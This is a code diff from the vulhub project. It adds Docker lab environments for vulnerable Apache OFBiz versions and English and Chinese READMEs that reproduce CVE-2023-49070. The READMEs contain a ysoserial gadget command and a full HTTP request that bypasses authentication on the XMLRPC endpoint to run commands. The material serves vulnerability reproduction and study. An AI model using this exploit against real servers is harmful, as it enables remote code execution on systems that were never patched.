Merge pull request #477 from vulhub/ofbiz-cve-2023-49070

base/ofbiz/17.12.01/Dockerfile

@@ -2,18 +2,22 @@ FROM openjdk:8-jdk
 
 LABEL maintainer="phith0n <root@leavesongs.com>"
 
+ARG VERSION=17.12.01
 RUN set -ex \
     && cd /usr/src \
-    && wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip \
-    && unzip apache-ofbiz-17.12.01.zip \
-    && rm -rf /usr/src/apache-ofbiz-17.12.01.zip
+    && wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-${VERSION}.zip \
+    && unzip apache-ofbiz-${VERSION}.zip \
+    && mv apache-ofbiz-${VERSION} apache-ofbiz \
+    && rm -rf /usr/src/apache-ofbiz-${VERSION}.zip
 
 RUN set -ex \
-    && cd /usr/src/apache-ofbiz-17.12.01 \
+    && cd /usr/src/apache-ofbiz \
     && sed -i 's/at\.bxm\.gradleplugins:gradle-svntools-plugin:latest\.release/at.bxm.gradleplugins:gradle-svntools-plugin:2.2.1/g' build.gradle \
     && ./gradle/init-gradle-wrapper.sh \
-    && ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
+    && sed -i 's|distributions-snapshots/gradle-3.2.1-20161121174103+0000|distributions/gradle-3.2.1|i' ./gradle/wrapper/gradle-wrapper.properties \
+    # && ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
+    && ./gradlew loadAll
 
-WORKDIR /usr/src/apache-ofbiz-17.12.01
+WORKDIR /usr/src/apache-ofbiz
 EXPOSE 8443
-CMD [ "./gradlew", "ofbiz" ]
+CMD [ "java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005", "-jar", "./build/libs/ofbiz.jar" ]

base/ofbiz/17.12.05/Dockerfile

@@ -0,0 +1,23 @@
+FROM openjdk:8-jdk
+
+LABEL maintainer="phith0n <root@leavesongs.com>"
+
+ARG VERSION=17.12.05
+RUN set -ex \
+    && cd /usr/src \
+    && wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-${VERSION}.zip \
+    && unzip apache-ofbiz-${VERSION}.zip \
+    && mv apache-ofbiz-${VERSION} apache-ofbiz \
+    && rm -rf /usr/src/apache-ofbiz-${VERSION}.zip
+
+RUN set -ex \
+    && cd /usr/src/apache-ofbiz \
+    && sed -i 's/at\.bxm\.gradleplugins:gradle-svntools-plugin:latest\.release/at.bxm.gradleplugins:gradle-svntools-plugin:2.2.1/g' build.gradle \
+    && ./gradle/init-gradle-wrapper.sh \
+    && sed -i 's|distributions-snapshots/gradle-3.2.1-20161121174103+0000|distributions/gradle-3.2.1|i' ./gradle/wrapper/gradle-wrapper.properties \
+    # && ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
+    && ./gradlew loadAll
+
+WORKDIR /usr/src/apache-ofbiz
+EXPOSE 8443
+CMD [ "java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005", "-jar", "./build/libs/ofbiz.jar" ]

base/ofbiz/18.12.09/Dockerfile

@@ -0,0 +1,21 @@
+FROM openjdk:8-jdk
+
+LABEL maintainer="phith0n <root@leavesongs.com>"
+
+ARG VERSION=18.12.09
+RUN set -ex \
+    && cd /usr/src \
+    && wget -q http://archive.apache.org/dist/ofbiz/apache-ofbiz-${VERSION}.zip \
+    && unzip apache-ofbiz-${VERSION}.zip \
+    && mv apache-ofbiz-${VERSION} apache-ofbiz \
+    && rm -rf /usr/src/apache-ofbiz-${VERSION}.zip
+
+RUN set -ex \
+    && cd /usr/src/apache-ofbiz \
+    && ./gradle/init-gradle-wrapper.sh \
+    && ./gradlew loadAll
+    # && ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
+
+WORKDIR /usr/src/apache-ofbiz
+EXPOSE 8443
+CMD [ "java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005", "-jar", "./build/libs/ofbiz.jar" ]

ofbiz/CVE-2020-9496/README.md

@@ -20,7 +20,7 @@ Executing following command to start an Apache OfBiz (17.12.01):
 docker compose up -d
 ```
 
-After a short wait, you can see the login page at `https://your-ip/myportal/control/main`.
+After a short wait, you can see the login page at `https://localhost:8443/accounting`.
 
 ## Vulnerability Reproduce
 

ofbiz/CVE-2020-9496/README.zh-cn.md

@@ -18,7 +18,7 @@ Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名
 docker compose up -d
 ```
 
-在等待数分钟后，访问`https://your-ip/myportal/control/main`查看到登录页面，说明环境已启动成功。
+在等待数分钟后，访问`https://localhost:8443/accounting`查看到登录页面，说明环境已启动成功。
 
 ## 漏洞复现
 

ofbiz/CVE-2020-9496/docker-compose.yml

@@ -3,4 +3,5 @@ services:
  web:
    image: vulhub/ofbiz:17.12.01
    ports:
-    - "8443:8443"
+    - "8443:8443"
+    - "5005:5005"

ofbiz/CVE-2023-49070/README.md

@@ -0,0 +1,74 @@
+# Unsafe deserialization of XMLRPC arguments in ApacheOfBiz (CVE-2023-49070)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
+
+Apahce OFBiz prior to 17.12.03, there is a deserialization issue caused by XMLRPC endpoint at `/webtools/control/xmlrpc`, which is marked as [CVE-2020-9496](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2020-9496). Developer fixed this issue by adding authentication check and filter, but the patches have been bypassed by CVE-2023-49070.
+
+Apache OFBiz deleted XMLRPC interface to escape this nightmare at version 18.12.10 eventually.
+
+References:
+
+- <https://www.openwall.com/lists/oss-security/2023/12/04/2>
+- <https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2020-9496>
+
+## Vulnerable environment
+
+Executing following command to start an Apache OfBiz 18.12.09:
+
+```
+docker compose up -d
+```
+
+After a short wait, you can see the login page at `https://localhost:8443/accounting`.
+
+## Vulnerability Reproduce
+
+The method to reproduce CVE-2023-49070 is similar to [CVE-2020-9496](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2020-9496), except that it requires bypassing the patches.
+
+First of all, use [ysoserial](https://github.com/frohoff/ysoserial) to generate a CommonsBeanutils1 gadget payload:
+
+```
+java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
+```
+
+![](1.png)
+
+Sending packets using the method in CVE-2020-9496 no longer works:
+
+![](2.png)
+
+But modifing the path to `/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y` is able to bypass the restriction:
+
+```
+POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+Host: your-ip
+Content-Type: application/xml
+Content-Length: 4093
+
+<?xml version="1.0"?>
+<methodCall>
+  <methodName>ProjectDiscovery</methodName>
+  <params>
+    <param>
+      <value>
+        <struct>
+          <member>
+            <name>test</name>
+            <value>
+              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
+            </value>
+          </member>
+        </struct>
+      </value>
+    </param>
+  </params>
+</methodCall>
+```
+
+![](3.png)
+
+`touch /tmp/success` has been executed in the container:
+
+![](4.png)

ofbiz/CVE-2023-49070/README.zh-cn.md

@@ -0,0 +1,71 @@
+# Apache OfBiz 反序列化命令执行漏洞（CVE-2023-49070）
+
+Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
+
+在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞，官方于后续的版本中对相关接口进行加固修复漏洞，但修复方法存在绕过问题（CVE-2023-49070），攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。
+
+Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。
+
+参考链接：
+
+- <https://www.openwall.com/lists/oss-security/2023/12/04/2>
+
+## 漏洞环境
+
+执行如下命令启动一个Apache OfBiz 18.12.09版本：
+
+```
+docker compose up -d
+```
+
+在等待数分钟后，访问`https://localhost:8443/accounting`查看到登录页面，说明环境已启动成功。
+
+## 漏洞复现
+
+漏洞复现方式与[CVE-2020-9496](https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2020-9496)相似，只是需要绕过官方对于漏洞的补丁限制。
+
+首先，仍然使用[ysoserial](https://github.com/frohoff/ysoserial)的CommonsBeanutils1来生成Payload：
+
+```
+java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
+```
+
+![](1.png)
+
+使用CVE-2020-9496中的复现方法发送数据包，可见已经无法成功进入XMLRPC的解析流程：
+
+![](2.png)
+
+把Path修改成`/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y`即可绕过限制：
+
+```
+POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+Host: your-ip
+Content-Type: application/xml
+Content-Length: 4093
+
+<?xml version="1.0"?>
+<methodCall>
+  <methodName>ProjectDiscovery</methodName>
+  <params>
+    <param>
+      <value>
+        <struct>
+          <member>
+            <name>test</name>
+            <value>
+              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
+            </value>
+          </member>
+        </struct>
+      </value>
+    </param>
+  </params>
+</methodCall>
+```
+
+![](3.png)
+
+进入容器中，可见`touch /tmp/success`已成功执行：
+
+![](4.png)

ofbiz/CVE-2023-49070/docker-compose.yml

@@ -0,0 +1,7 @@
+version: '2'
+services:
+ web:
+   image: vulhub/ofbiz:18.12.09
+   ports:
+    - "8443:8443"
+    - "5005:5005"